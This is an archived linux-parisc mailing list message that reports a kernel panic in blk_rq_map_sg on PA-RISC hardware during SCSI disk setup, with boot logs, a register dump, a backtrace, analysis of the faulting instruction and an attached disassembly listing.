	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751841AbbIMTk1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Sep 2015 15:40:27 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20150913194026.NBSK27742.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 13 Sep 2015 15:40:26 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by mtlspm02.bell.net
          with ESMTP
          id <20150913194025.XNGW25946.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 13 Sep 2015 15:40:25 -0400
In-Reply-To: <2C44DC97-789E-408C-83AF-A7FDB6E6EB8A@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.55F5D12A.0039,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26030
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26030>


--Apple-Mail-21-9557822
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2015-09-12, at 6:40 PM, John David Anglin wrote:

> On 2015-09-12, at 6:13 PM, John David Anglin wrote:
>=20
>> With Linus' tree at head, I got the following boot error today:
>>=20
>> scsi 4:0:0:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 =
ANSI: 3   =20
>> scsi target4:0:0: Beginning Domain Validation                         =
         =20
>> scsi target4:0:0: Ending Domain Validation                            =
         =20
>> scsi target4:0:0: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW =
PCOMP (6.2)
>> scsi 4:0:2:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 =
ANSI: 3   =20
>> scsi target4:0:2: Beginning Domain Validation                         =
         =20
>> scsi target4:0:2: Ending Domain Validation                            =
         =20
>> scsi target4:0:2: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW =
PCOMP (6.2)
>> ata3: SATA link down (SStatus 0 SControl 0)                           =
         =20
>> random: nonblocking pool is initialized                               =
         =20
>> ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 0)                  =
         =20
>> ata4.00: ATA-9: ST3000DM001-1ER166, CC25, max UDMA/133                =
         =20
>> ata4.00: 5860533168 sectors, multi 0: LBA48 NCQ (depth 31/32)         =
         =20
>> ata4.00: configured for UDMA/100                                      =
         =20
>> scsi 3:0:0:0: Direct-Access     ATA      ST3000DM001-1ER1 CC25 PQ: 0 =
ANSI: 5   =20
>> sd 3:0:0:0: [sdc] 5860533168 512-byte logical blocks: (3.00 TB/2.72 =
TiB)       =20
>> sd 4:0:0:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.3 =
GiB)        =20
>> sd 4:0:2:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.3 =
GiB)        =20
>> sd 4:0:0:0: [sda] Write Protect is off                                =
         =20
>> sd 4:0:2:0: [sdb] Write Protect is off                                =
         =20
>> sd 4:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports =
DPO and FA
>> sd 4:0:2:0: [sdb] Write cache: enabled, read cache: enabled, supports =
DPO and FA
>> mptbase: ioc1: Initiating bringup                                     =
         =20
>> sd 3:0:0:0: [sdc] 4096-byte physical blocks                           =
         =20
>> sd 3:0:0:0: [sdc] Write Protect is off                                =
         =20
>> sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't =
support DPA
>> sdc: sdc1                                                             =
        =20
>> sd 3:0:0:0: [sdc] Attached SCSI disk                                  =
         =20
>> ioc1: LSI53C1030 B2: Capabilities=3D{Initiator,Target}                =
           =20
>> scsi host5: ioc1: LSI53C1030 B2, FwRev=3D01032341h, Ports=3D1, =
MaxQ=3D255, IRQ=3D68    =20
>> sda: sda1 sda2 sda3 sda4                                              =
        =20
>> sd 4:0:2:0: [sdb] Attached SCSI disk                                  =
         =20
>> sd 4:0:0:0: [sda] Attached SCSI disk                                  =
         =20
>> scsi_id(992): unaligned access to 0x00000000fae5b009 at =
ip=3D0x00000000410039a7  =20
>> scsi_id(993): unaligned access to 0x00000000fa7b9009 at =
ip=3D0x00000000410039a7  =20
>> Backtrace:                                                            =
         =20
>> [<000000000c1bb008>] scsi_init_sgtable+0x70/0x168 [scsi_mod]          =
        =20
>> [<000000000c1bb16c>] scsi_init_io+0x6c/0x250 [scsi_mod]               =
        =20
>> [<00000000107355a0>] sd_setup_read_write_cmnd+0x58/0x940 [sd_mod]     =
        =20
>> [<0000000010735ecc>] sd_init_command+0x44/0x130 [sd_mod]              =
        =20
>> [<000000000c1bb454>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]           =
        =20
>> [<000000000c1bb7a0>] scsi_prep_fn+0x100/0x340 [scsi_mod]              =
        =20
>> [<000000004035cc50>] blk_peek_request+0x1b8/0x298                     =
        =20
>> [<000000000c1bd3b0>] scsi_request_fn+0xf8/0xab0 [scsi_mod]            =
        =20
>> [<00000000403584ec>] __blk_run_queue+0x4c/0x70                        =
        =20
>> [<000000004038126c>] cfq_insert_request+0x2dc/0x580                   =
        =20
>> [<00000000403576ac>] __elv_add_request+0x1b4/0x300                    =
        =20
>>=20
>>=20
>> Bad Address (null pointer deref?): Code=3D15 regs=3D000000007c65d260 =
(Addr=3D0000003b)
>> CPU: 2 PID: 936 Comm: systemd-udevd Not tainted 4.2.0+ #1             =
         =20
>> task: 000000033f98a348 ti: 000000007c65c000 task.ti: 000000007c65c000 =
         =20
>>=20
>>    YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                   =
       =20
>> PSW: 00001000000001001111111100001110 Not tainted                     =
         =20
>> r00-03  000000ff0804ff0e 000000007c65d130 0000000040363660 =
000000007c65d130    =20
>> r04-07  00000000406f18f0 0000000000004000 0000000000000320 =
0000000000000000    =20
>> r08-11  0000000000000000 0000000000000001 0001003b00000000 =
000000007e650dc0    =20
>> r12-15  0000000000001000 0000000000000032 0000000000000004 =
0000000042d0d780    =20
>> r16-19  0000000000000000 000000007e4cf088 0000000000001000 =
0000000000001000    =20
>> r20-23  0000000000000000 000000007c1ce000 0000000000011000 =
000000004076d900    =20
>> r24-27  0002d12b3ff4bb53 cffd2ed4c0000000 000000007e48cb20 =
00000000406f18f0    =20
>> r28-31  0001003b00000000 000000007c65d230 000000007c65d260 =
0000000000000001    =20
>> sr00-03  0000000000019000 0000000000000000 0000000000000000 =
0000000000019000   =20
>> sr04-07  0000000000000000 0000000000000000 0000000000000000 =
0000000000000000   =20
>>=20
>> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040363668 =
000000004036366c=20
>> IIR: 0d4010dc    ISR: 0000000000010000  IOR: 0000003b00000000         =
        =20
>> CPU:        2   CR30: 000000007c65c000 CR31: ffffffffffffffff         =
        =20
>> ORIG_R28: 0000000000000000                                            =
        =20
>> IAOQ[0]: blk_rq_map_sg+0x310/0x5d8                                    =
        =20
>> IAOQ[1]: blk_rq_map_sg+0x314/0x5d8                                    =
        =20
>> RP(r2): blk_rq_map_sg+0x308/0x5d8                                     =
        =20
>> Backtrace:                                                            =
         =20
>> [<000000000c1bb008>] scsi_init_sgtable+0x70/0x168 [scsi_mod]          =
        =20
>> [<000000000c1bb16c>] scsi_init_io+0x6c/0x250 [scsi_mod]               =
        =20
>> [<00000000107355a0>] sd_setup_read_write_cmnd+0x58/0x940 [sd_mod]     =
        =20
>> [<0000000010735ecc>] sd_init_command+0x44/0x130 [sd_mod]              =
        =20
>> [<000000000c1bb454>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]           =
        =20
>> [<000000000c1bb7a0>] scsi_prep_fn+0x100/0x340 [scsi_mod]              =
        =20
>> [<000000004035cc50>] blk_peek_request+0x1b8/0x298                     =
        =20
>> [<000000000c1bd3b0>] scsi_request_fn+0xf8/0xab0 [scsi_mod]            =
        =20
>> [<00000000403584ec>] __blk_run_queue+0x4c/0x70                        =
        =20
>> [<000000004038126c>] cfq_insert_request+0x2dc/0x580                   =
        =20
>> [<00000000403576ac>] __elv_add_request+0x1b4/0x300                    =
        =20
>>=20
>> Kernel panic - not syncing: Bad Address (null pointer deref?)         =
         =20
>=20
>=20
> It appears the unaligned accesses were present before but didn't cause =
a panic:
>=20
> ioc1: LSI53C1030 B2: Capabilities=3D{Initiator,Target}                 =
          =20
> scsi 3:0:0:0: Direct-Access     ATA      ST3000DM001-1ER1 CC25 PQ: 0 =
ANSI: 5   =20
> sd 3:0:0:0: [sdc] 5860533168 512-byte logical blocks: (3.00 TB/2.72 =
TiB)       =20
> sd 3:0:0:0: [sdc] 4096-byte physical blocks                            =
        =20
> sd 3:0:0:0: [sdc] Write Protect is off                                 =
        =20
> sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't =
support DPA
> sdc: sdc1                                                              =
       =20
> sd 3:0:0:0: [sdc] Attached SCSI disk                                   =
        =20
> scsi host5: ioc1: LSI53C1030 B2, FwRev=3D01032341h, Ports=3D1, =
MaxQ=3D255, IRQ=3D68    =20
> sd 4:0:2:0: [sdb] Spinning up disk...                                  =
        =20
> sd 4:0:0:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.3 =
GiB)        =20
> sd 4:0:0:0: [sda] Write Protect is off                                 =
        =20
> sd 4:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports =
DPO and FA
> .                                                                      =
        =20
> sda: sda1 sda2 sda3 sda4                                               =
       =20
> sd 4:0:0:0: [sda] Attached SCSI disk                                   =
        =20
> ...                                                                    =
        =20
> scsi_id(938): unaligned access to 0x00000000faed4009 at =
ip=3D0x00000000410038df  =20
> .....ready                                                             =
        =20
> sd 4:0:2:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.3 =
GiB)        =20
> sd 4:0:2:0: [sdb] Write Protect is off                                 =
        =20
> sd 4:0:2:0: [sdb] Write cache: enabled, read cache: enabled, supports =
DPO and FA
> sd 4:0:2:0: [sdb] Attached SCSI disk                                   =
        =20
> scsi_id(942): unaligned access to 0x00000000fae77009 at =
ip=3D0x00000000410038df  =20
> Begin: Loading essential drivers ... done.                             =
        =20
> Begin: Running /scripts/init-premount ... done.                        =
        =20
> Begin: Mounting root file system ... Begin: Running /scripts/local-top =
... done.
> Begin: Running /scripts/local-premount ... done.                       =
        =20
> Begin: Checking root file system ... fsck from util-linux 2.26.2       =
        =20
> ROOT: clean, 128634/4341760 files, 3291642/17343502 blocks             =
        =20
> done.                                                                  =
        =20
> kjournald starting.  Commit interval 5 seconds                         =
        =20
> EXT3-fs (sda4): mounted filesystem with writeback data mode            =
        =20
> done.                                                                  =
        =20
> Begin: Running /scripts/local-bottom ... done.                         =
        =20
> Begin: Running /scripts/init-bottom ... done.                          =
        =20
> INIT: version 2.88 booting                                             =
        =20
> [info] Using makefile-style concurrent boot in runlevel S.             =
        =20
> [....] Starting the hotplug events dispatcher: systemd-udevdstarting =
version 226
> . ok                                                                   =
        =20
> [....] Synthesizing the initial hotplug events...done.                 =
        =20
> [....] Waiting for /dev to be fully populated...sd 4:0:0:0: Attached =
scsi gener0
> sd 4:0:2:0: Attached scsi generic sg1 type 0                           =
        =20
> sd 3:0:0:0: Attached scsi generic sg2 type 0                           =
        =20
> scsi_id(1192): unaligned access to 0x00000000faeeb009 at =
ip=3D0x00000000410039a7 =20
> scsi_id(1193): unaligned access to 0x00000000faa1f009 at =
ip=3D0x00000000410039a7=20
>=20
> The above is with 4.0.8+.


I no longer think the panic had anything to do with unaligned accesses.

Attached is disassembly of blk_rq_map_sg in blk-merge.o.  The error is =
here:

 300:   e8 00 a0 00     b,l 308 <blk_rq_map_sg+0x308>,rp
 304:   08 1b 02 44     copy dp,r4
 308:   08 04 02 5b     copy r4,dp
 30c:   08 1c 02 4a     copy ret0,r10
 310:   0d 40 10 dc     ldd 0(r10),ret0

The call at 300 appears to be a call to sg_next:

Relocation section '.rela.text.blk_rq_map_sg' at offset 0x3d08 contains =
14 entries:
  Offset          Info           Type           Sym. Value    Sym. Name =
+ Addend
00000000015c  002300000022 R_PARISC_DLTIND21 0000000000000000 node_data =
+ 0
000000000168  000700000022 R_PARISC_DLTIND21 0000000000000001 =
__warned.22406 + 0
000000000178  002000000022 R_PARISC_DLTIND21 0000000000000000 .LC0 + 0
000000000204  002300000026 R_PARISC_DLTIND14 0000000000000000 node_data =
+ 0
000000000300  00300000004a R_PARISC_PCREL22F 0000000000000000 sg_next + =
0
0000000003a8  00300000004a R_PARISC_PCREL22F 0000000000000000 sg_next + =
0
0000000003e0  003100000022 R_PARISC_DLTIND21 0000000000000000 pfnnid_map =
+ 0
0000000003e4  003100000026 R_PARISC_DLTIND14 0000000000000000 pfnnid_map =
+ 0
0000000003f8  002300000022 R_PARISC_DLTIND21 0000000000000000 node_data =
+ 0
0000000003fc  002300000026 R_PARISC_DLTIND14 0000000000000000 node_data =
+ 0
000000000574  000700000026 R_PARISC_DLTIND14 0000000000000001 =
__warned.22406 + 0
000000000588  002000000026 R_PARISC_DLTIND14 0000000000000000 .LC0 + 0
000000000590  00240000004a R_PARISC_PCREL22F 0000000000000000 printk + 0
0000000005bc  00320000004a R_PARISC_PCREL22F 0000000000000000 memset + 0

The result of the call ret0 is copied to r10 and then we get page fault =
executing ldd 0(r10),ret0.

Probably, we are in this block of code:

        if (q->dma_drain_size && q->dma_drain_needed(rq)) {
                if (rq->cmd_flags & REQ_WRITE)
                        memset(q->dma_drain_buffer, 0, =
q->dma_drain_size);

                sg_unmark_end(sg);
                sg =3D sg_next(sg);
                sg_set_page(sg, virt_to_page(q->dma_drain_buffer),
                            q->dma_drain_size,
                            ((unsigned long)q->dma_drain_buffer) &
                            (PAGE_SIZE - 1));
                nsegs++;
                rq->extra_len +=3D q->dma_drain_size;
        }


Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-21-9557822
Content-Disposition: attachment;
	filename=blk_rq_map_sg.dis.txt
Content-Type: text/plain;
	name="blk_rq_map_sg.dis.txt"
Content-Transfer-Encoding: 7bit

Disassembly of section .text.blk_rq_map_sg:

0000000000000000 <blk_rq_map_sg>:
   0:   08 03 02 41     copy r3,r1
   4:   0f c2 12 c1     std rp,-10(sp)
   8:   08 1e 02 43     copy sp,r3
   c:   73 c1 02 68     std,ma r1,130(sp)
  10:   70 72 00 80     std r18,40(r3)
  14:   08 19 02 52     copy r25,r18
  18:   70 71 00 90     std r17,48(r3)
  1c:   08 1a 02 51     copy r26,r17
  20:   70 70 00 a0     std r16,50(r3)
  24:   70 6f 00 b0     std r15,58(r3)
  28:   70 6e 00 c0     std r14,60(r3)
  2c:   70 6d 00 d0     std r13,68(r3)
  30:   70 6c 00 e0     std r12,70(r3)
  34:   70 6b 00 f0     std r11,78(r3)
  38:   70 6a 01 00     std r10,80(r3)
  3c:   70 69 01 10     std r9,88(r3)
  40:   70 68 01 20     std r8,90(r3)
  44:   70 67 01 30     std r7,98(r3)
  48:   70 66 01 40     std r6,a0(r3)
  4c:   70 65 01 50     std r5,a8(r3)
  50:   70 64 01 60     std r4,b0(r3)
  54:   53 2b 00 d0     ldd 68(r25),r11
  58:   9d 60 28 20     cmpb,*= r0,r11,470 <blk_rq_map_sg+0x470>
  5c:   08 18 02 50     copy r24,r16
  60:   51 7c 00 30     ldd 18(r11),ret0
  64:   c7 1c c1 b8     bb,*>= ret0,18,148 <blk_rq_map_sg+0x148>
  68:   43 49 0b 58     ldb 5ac(r26),r9
  6c:   45 7c 00 c0     ldh 60(r11),ret0
  70:   87 80 27 f2     cmpib,=,n 0,ret0,470 <blk_rq_map_sg+0x470>
  74:   51 77 00 d0     ldd 68(r11),r23
  78:   49 7f 00 58     ldw 2c(r11),r31
  7c:   f3 ff 10 84     depd,z,* r31,59,60,r31
  80:   0b f7 0a 18     add,l r23,r31,r24
  84:   0f 10 10 95     ldw 8(r24),r21
  88:   49 73 00 60     ldw 30(r11),r19
  8c:   0a 75 04 14     sub r21,r19,r20
  90:   0f 18 10 95     ldw c(r24),r21
  94:   49 76 00 50     ldw 28(r11),r22
  98:   0a 75 0a 13     add,l r21,r19,r19
  9c:   0e 00 10 dc     ldd 0(r16),ret0
  a0:   0f f7 00 df     ldd r23(r31),r31
  a4:   db f5 0b fe     extrd,u,* r31,63,2,r21
  a8:   0a 96 b8 80     cmpclr,>> r22,r20,r0
  ac:   08 16 02 54     copy r22,r20
  b0:   be a0 27 88     cmpb,*<> r0,r21,47c <blk_rq_map_sg+0x47c>
  b4:   db 9c 0b fe     extrd,u,* ret0,63,2,ret0
  b8:   0b 9f 02 5c     or r31,ret0,ret0
  bc:   0e 13 12 90     stw r19,8(r16)
  c0:   34 0e 00 02     ldi 1,r14
  c4:   0e 1c 12 c0     std ret0,0(r16)
  c8:   0e 14 12 98     stw r20,c(r16)
  cc:   52 5c 00 80     ldd 40(r18),ret0
  d0:   db 80 cc 9f     extrd,s,*>= ret0,36,1,r0
  d4:   e8 00 08 72     b,l,n 514 <blk_rq_map_sg+0x514>,r0
  d8:   4a 3c 09 88     ldw 4c4(r17),ret0
  dc:   8f 80 25 08     cmpib,<> 0,ret0,368 <blk_rq_map_sg+0x368>
  e0:   08 1b 02 44     copy dp,r4
  e4:   9e 00 20 1a     cmpb,*=,n r0,r16,f8 <blk_rq_map_sg+0xf8>
  e8:   0e 00 10 dc     ldd 0(r16),ret0
  ec:   f7 80 04 1f     depdi,* 0,63,1,ret0
  f0:   f7 9f 04 3f     depdi,* -1,62,1,ret0
  f4:   0e 1c 12 c0     std ret0,0(r16)
  f8:   08 0e 02 5c     copy r14,ret0
  fc:   0c 61 10 c2     ldd -10(r3),rp
 100:   50 72 00 80     ldd 40(r3),r18
 104:   50 71 00 90     ldd 48(r3),r17
 108:   50 70 00 a0     ldd 50(r3),r16
 10c:   50 6f 00 b0     ldd 58(r3),r15
 110:   50 6e 00 c0     ldd 60(r3),r14
 114:   50 6d 00 d0     ldd 68(r3),r13
 118:   50 6c 00 e0     ldd 70(r3),r12
 11c:   50 6b 00 f0     ldd 78(r3),r11
 120:   50 6a 01 00     ldd 80(r3),r10
 124:   50 69 01 10     ldd 88(r3),r9
 128:   50 68 01 20     ldd 90(r3),r8
 12c:   50 67 01 30     ldd 98(r3),r7
 130:   50 66 01 40     ldd a0(r3),r6
 134:   50 65 01 50     ldd a8(r3),r5
 138:   50 64 01 60     ldd b0(r3),r4
 13c:   34 7e 00 80     ldo 40(r3),sp
 140:   e8 40 d0 00     bve (rp)
 144:   53 c3 3f 8d     ldd,mb -40(sp),r3
 148:   c6 dc 5e 57     bb,*<,n ret0,16,78 <blk_rq_map_sg+0x78>
 14c:   51 77 00 d0     ldd 68(r11),r23
 150:   37 c1 3f a1     ldo -30(sp),r1
 154:   0c 61 12 d0     std r1,8(r3)
 158:   34 0a 00 00     ldi 0,r10
 15c:   2b 60 00 00     addil L%0,dp,r1
 160:   70 61 00 20     std r1,10(r3)
 164:   34 04 00 00     ldi 0,r4
 168:   2b 60 00 00     addil L%0,dp,r1
 16c:   34 1d 00 00     ldi 0,ret1
 170:   70 61 00 40     std r1,20(r3)
 174:   34 1f 00 00     ldi 0,r31
 178:   2b 60 00 00     addil L%0,dp,r1
 17c:   70 79 00 60     std r25,30(r3)
 180:   34 0e 00 00     ldi 0,r14
 184:   70 61 00 50     std r1,28(r3)
 188:   70 78 00 30     std r24,18(r3)
 18c:   49 6d 00 58     ldw 2c(r11),r13
 190:   49 65 00 50     ldw 28(r11),r5
 194:   f0 cd 10 84     depd,z,* r13,59,60,r6
 198:   9c a0 27 70     cmpb,*= r0,r5,558 <blk_rq_map_sg+0x558>
 19c:   49 67 00 60     ldw 30(r11),r7
 1a0:   51 73 00 d0     ldd 68(r11),r19
 1a4:   08 d3 0a 1c     add,l r19,r6,ret0
 1a8:   0c d3 00 cf     ldd r19(r6),r15
 1ac:   0f 98 10 94     ldw c(ret0),r20
 1b0:   0f 90 10 93     ldw 8(ret0),r19
 1b4:   08 f4 0a 08     add,l r20,r7,r8
 1b8:   08 f3 04 13     sub r19,r7,r19
 1bc:   d9 10 0b e0     extrd,u,* r8,63,32,r16
 1c0:   08 13 02 4c     copy r19,r12
 1c4:   09 85 b8 80     cmpclr,>> r5,r12,r0
 1c8:   08 05 02 4c     copy r5,r12
 1cc:   9d 40 26 30     cmpb,*= r0,r10,4ec <blk_rq_map_sg+0x4ec>
 1d0:   d9 92 0b e0     extrd,u,* r12,63,32,r18
 1d4:   9d 20 22 22     cmpb,*=,n r0,r9,2ec <blk_rq_map_sg+0x2ec>
 1d8:   0d 58 10 96     ldw c(r10),r22
 1dc:   4a 3c 0a f8     ldw 57c(r17),ret0
 1e0:   09 96 0a 16     add,l r22,r12,r22
 1e4:   8b 96 a2 02     cmpb,>>,n r22,ret0,2ec <blk_rq_map_sg+0x2ec>
 1e8:   0f e0 10 d5     ldd 0(r31),r21
 1ec:   0d e0 10 dc     ldd 0(r15),ret0
 1f0:   da b8 00 5d     extrd,u,* r21,2,3,r24
 1f4:   db 9c 00 5d     extrd,u,* ret0,2,3,ret0
 1f8:   f3 3c 10 63     depd,z,* ret0,60,61,r25
 1fc:   50 61 00 20     ldd 10(r3),r1
 200:   f2 b8 10 63     depd,z,* r24,60,61,r21
 204:   50 37 00 00     ldd 0(r1),r23
 208:   0b 15 04 15     sub r21,r24,r21
 20c:   f2 b5 10 63     depd,z,* r21,60,61,r21
 210:   0b 15 04 15     sub r21,r24,r21
 214:   0b 99 04 18     sub r25,ret0,r24
 218:   f2 b5 10 c6     depd,z,* r21,57,58,r21
 21c:   36 b9 1a 40     ldo d20(r21),r25
 220:   0f 37 00 d9     ldd r23(r25),r25
 224:   0b 3f 04 1f     sub r31,r25,r31
 228:   db ff 1f 83     extrd,s,* r31,60,61,r31
 22c:   f3 3f 10 63     depd,z,* r31,60,61,r25
 230:   0b f9 04 19     sub r25,r31,r25
 234:   f3 39 10 84     depd,z,* r25,59,60,r25
 238:   0b f9 0a 19     add,l r25,r31,r25
 23c:   0b f9 0a 99     shladd,l r25,2,r31,r25
 240:   f0 59 10 a5     depd,z,* r25,58,59,rp
 244:   f3 18 10 63     depd,z,* r24,60,61,r24
 248:   36 b5 1a 60     ldo d30(r21),r21
 24c:   0e b7 00 da     ldd r23(r21),r26
 250:   0b 22 04 19     sub rp,r25,r25
 254:   f0 59 11 ef     depd,z,* r25,48,49,rp
 258:   08 59 0a 19     add,l r25,rp,r25
 25c:   0b 98 04 1c     sub r24,ret0,ret0
 260:   f0 59 13 de     depd,z,* r25,33,34,rp
 264:   f3 9c 10 c6     depd,z,* ret0,57,58,ret0
 268:   08 59 0a 02     add,l r25,rp,rp
 26c:   37 95 1a 40     ldo d20(ret0),r21
 270:   0e b7 00 d5     ldd r23(r21),r21
 274:   37 9c 1a 60     ldo d30(ret0),ret0
 278:   0a af 04 15     sub r15,r21,r21
 27c:   0f 97 00 dc     ldd r23(ret0),ret0
 280:   da b5 1f 83     extrd,s,* r21,60,61,r21
 284:   f3 15 10 63     depd,z,* r21,60,61,r24
 288:   0a b8 04 18     sub r24,r21,r24
 28c:   f3 18 10 84     depd,z,* r24,59,60,r24
 290:   0a b8 0a 18     add,l r24,r21,r24
 294:   0a b8 0a 98     shladd,l r24,2,r21,r24
 298:   f0 38 10 a5     depd,z,* r24,58,59,r1
 29c:   0b 01 04 18     sub r1,r24,r24
 2a0:   f3 38 11 ef     depd,z,* r24,48,49,r25
 2a4:   0b e2 0a 42     shladd,l rp,1,r31,rp
 2a8:   0b 38 0a 18     add,l r24,r25,r24
 2ac:   f0 42 10 63     depd,z,* rp,60,61,rp
 2b0:   f3 38 13 de     depd,z,* r24,33,34,r25
 2b4:   0b e2 04 02     sub rp,r31,rp
 2b8:   0b 38 0a 1f     add,l r24,r25,r31
 2bc:   0b 42 0a 1a     add,l rp,r26,r26
 2c0:   0a bf 0a 5f     shladd,l r31,1,r21,r31
 2c4:   f3 5a 11 8c     depd,z,* r26,51,52,r26
 2c8:   f3 ff 10 63     depd,z,* r31,60,61,r31
 2cc:   08 9a 0a 04     add,l r26,r4,r4
 2d0:   0a bf 04 15     sub r31,r21,r21
 2d4:   0b a4 0a 1d     add,l r4,ret1,ret1
 2d8:   0b 95 0a 15     add,l r21,ret0,r21
 2dc:   f3 95 11 8c     depd,z,* r21,51,52,ret0
 2e0:   0b 90 0a 1c     add,l r16,ret0,ret0
 2e4:   9f bc 24 10     cmpb,*= ret0,ret1,4f4 <blk_rq_map_sg+0x4f4>
 2e8:   36 5f 3f ff     ldo -1(r18),r31
 2ec:   0d 40 10 dc     ldd 0(r10),ret0
 2f0:   f7 80 04 3f     depdi,* 0,62,1,ret0
 2f4:   08 0a 02 5a     copy r10,r26
 2f8:   0d 5c 12 c0     std ret0,0(r10)
 2fc:   0c 70 10 dd     ldd 8(r3),ret1
 300:   e8 00 a0 00     b,l 308 <blk_rq_map_sg+0x308>,rp
 304:   08 1b 02 44     copy dp,r4
 308:   08 04 02 5b     copy r4,dp
 30c:   08 1c 02 4a     copy ret0,r10
 310:   0d 40 10 dc     ldd 0(r10),ret0
 314:   d9 ff 0b fe     extrd,u,* r15,63,2,r31
 318:   bf e0 22 b8     cmpb,*<> r0,r31,47c <blk_rq_map_sg+0x47c>
 31c:   db 9c 0b fe     extrd,u,* ret0,63,2,ret0
 320:   0b 8f 02 5c     or r15,ret0,ret0
 324:   35 ce 00 02     ldo 1(r14),r14
 328:   0d 5c 12 c0     std ret0,0(r10)
 32c:   0d 48 12 90     stw r8,8(r10)
 330:   d9 ce 0f e0     extrd,s,* r14,63,32,r14
 334:   0d 4c 12 98     stw r12,c(r10)
 338:   51 7c 00 30     ldd 18(r11),ret0
 33c:   34 1f 05 00     ldi 280,r31
 340:   0b fc 02 1c     and ret0,r31,ret0
 344:   9f 80 22 6a     cmpb,*=,n r0,ret0,480 <blk_rq_map_sg+0x480>
 348:   09 85 04 05     sub r5,r12,r5
 34c:   d8 a5 0b e0     extrd,u,* r5,63,32,r5
 350:   9c a0 23 e8     cmpb,*= r0,r5,54c <blk_rq_map_sg+0x54c>
 354:   f0 cd 10 84     depd,z,* r13,59,60,r6
 358:   08 12 02 5d     copy r18,ret1
 35c:   08 10 02 44     copy r16,r4
 360:   e8 1f 1c 75     b,l 1a0 <blk_rq_map_sg+0x1a0>,r0
 364:   08 0f 02 5f     copy r15,r31
 368:   52 3c 01 70     ldd b8(r17),ret0
 36c:   08 12 02 5a     copy r18,r26
 370:   37 dd 3f a1     ldo -30(sp),ret1
 374:   53 82 00 20     ldd 10(ret0),rp
 378:   e8 40 f0 00     bve,l (rp),rp
 37c:   53 9b 00 30     ldd 18(ret0),dp
 380:   9f 80 3a bd     cmpb,*= r0,ret0,e4 <blk_rq_map_sg+0xe4>
 384:   08 04 02 5b     copy r4,dp
 388:   52 5c 00 80     ldd 40(r18),ret0
 38c:   c7 fc 44 38     bb,*< ret0,1f,5b0 <blk_rq_map_sg+0x5b0>
 390:   34 19 00 00     ldi 0,r25
 394:   0e 00 10 dc     ldd 0(r16),ret0
 398:   f7 80 04 3f     depdi,* 0,62,1,ret0
 39c:   08 10 02 5a     copy r16,r26
 3a0:   0e 1c 12 c0     std ret0,0(r16)
 3a4:   37 dd 3f a1     ldo -30(sp),ret1
 3a8:   e8 00 a0 00     b,l 3b0 <blk_rq_map_sg+0x3b0>,rp
 3ac:   08 1b 02 44     copy dp,r4
 3b0:   52 34 09 90     ldd 4c8(r17),r20
 3b4:   08 1c 02 50     copy ret0,r16
 3b8:   f7 fe 0a 1c     depdi,z,* f,15,4,r31
 3bc:   23 80 08 01     ldil L%-40000000,ret0
 3c0:   0b 94 0a 1c     add,l r20,ret0,ret0
 3c4:   db 93 1a 6c     extrd,u,* ret0,51,52,r19
 3c8:   0b f3 02 15     and r19,r31,r21
 3cc:   9e bf 23 f0     cmpb,*= r31,r21,5cc <blk_rq_map_sg+0x5cc>
 3d0:   08 04 02 5b     copy r4,dp
 3d4:   db 9c 08 20     extrd,u,* ret0,33,32,ret0
 3d8:   34 1f 03 fe     ldi 1ff,r31
 3dc:   83 9f 83 e0     cmpb,<< r31,ret0,5d4 <blk_rq_map_sg+0x5d4>
 3e0:   2b 60 00 00     addil L%0,dp,r1
 3e4:   50 3f 00 00     ldd 0(r1),r31
 3e8:   0f 9f 00 1c     ldb r31(ret0),ret0
 3ec:   db 9f 0f f8     extrd,s,* ret0,63,8,r31
 3f0:   0e 00 10 d5     ldd 0(r16),r21
 3f4:   f3 9f 10 63     depd,z,* r31,60,61,ret0
 3f8:   2b 60 00 00     addil L%0,dp,r1
 3fc:   50 37 00 00     ldd 0(r1),r23
 400:   0b fc 04 1c     sub ret0,r31,ret0
 404:   f3 9c 10 63     depd,z,* ret0,60,61,ret0
 408:   4a 38 09 88     ldw 4c4(r17),r24
 40c:   0b fc 04 1c     sub ret0,r31,ret0
 410:   f3 9c 10 c6     depd,z,* ret0,57,58,ret0
 414:   37 9f 1a 40     ldo d20(ret0),r31
 418:   37 9c 1a 60     ldo d30(ret0),ret0
 41c:   0f f7 00 df     ldd r23(r31),r31
 420:   0f 97 00 dc     ldd r23(ret0),ret0
 424:   da b6 0b fe     extrd,u,* r21,63,2,r22
 428:   0b 93 04 13     sub r19,ret0,r19
 42c:   f2 b3 10 63     depd,z,* r19,60,61,r21
 430:   0a 75 04 13     sub r21,r19,r19
 434:   0b f3 0a dc     shladd,l r19,3,r31,ret0
